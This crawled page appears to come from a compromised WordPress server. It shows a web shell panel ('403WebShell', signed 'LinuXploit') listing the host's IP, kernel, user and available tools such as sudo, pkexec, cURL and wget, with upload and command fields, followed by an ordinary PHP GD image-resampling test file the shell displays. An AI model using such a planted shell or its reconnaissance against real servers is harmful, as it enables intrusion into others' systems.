WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/gd/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/gd/tests/imagecopyresampled_basic.phpt
--TEST--
imagecopyresampled()
--SKIPIF--
<?php
	if (!function_exists('imagecopyresampled')) die('skip imagecopyresampled() not available');
?>
--FILE--
<?php

/* Prototype  : bool imagecopyresampled  ( resource $dst_image  , resource $src_image  , int $dst_x  , int $dst_y  , int $src_x  , int $src_y  , int $dst_w  , int $dst_h  , int $src_w  , int $src_h  )
 * Description: Copy and resize part of an image with resampling.
 * Source code: ext/standard/image.c
 * Alias to functions:
 */

echo "Simple test of imagecopyresampled() function\n";

$dest_lge = dirname(realpath(__FILE__)) . '/imagelarge.png';
$dest_sml = dirname(realpath(__FILE__)) . '/imagesmall.png';

// create a blank image
$image_lge = imagecreatetruecolor(400, 300);

// set the background color to black
$bg = imagecolorallocate($image_lge, 0, 0, 0);

// fill polygon with blue
$col_ellipse = imagecolorallocate($image_lge, 0, 255, 0);

// draw the eclipse
imagefilledellipse($image_lge, 200, 150, 300, 200, $col_ellipse);

// output the picture to a file
imagepng($image_lge, $dest_lge);

// Get new dimensions
$percent = 0.5; // new image 50% of original
list($width, $height) = getimagesize($dest_lge);
echo "Size of original: width=". $width . " height=" . $height . "\n";

$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_sml = imagecreatetruecolor($new_width, $new_height);
imagecopyresampled($image_sml, $image_lge, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

imagepng($image_sml, $dest_sml);

list($width, $height) = getimagesize($dest_sml);
echo "Size of copy: width=". $width . " height=" . $height . "\n";

imagedestroy($image_lge);
imagedestroy($image_sml);


echo "Done\n";
?>
--CLEAN--
<?php
	$dest_lge = dirname(realpath(__FILE__)) . '/imagelarge.png';
	$dest_sml = dirname(realpath(__FILE__)) . '/imagesmall.png';
	@unlink($dest_lge);
	@unlink($dest_sml);
?>
--EXPECT--
Simple test of imagecopyresampled() function
Size of original: width=400 height=300
Size of copy: width=200 height=150
Done

Youez - 2016 - github.com/yon3zu
LinuXploit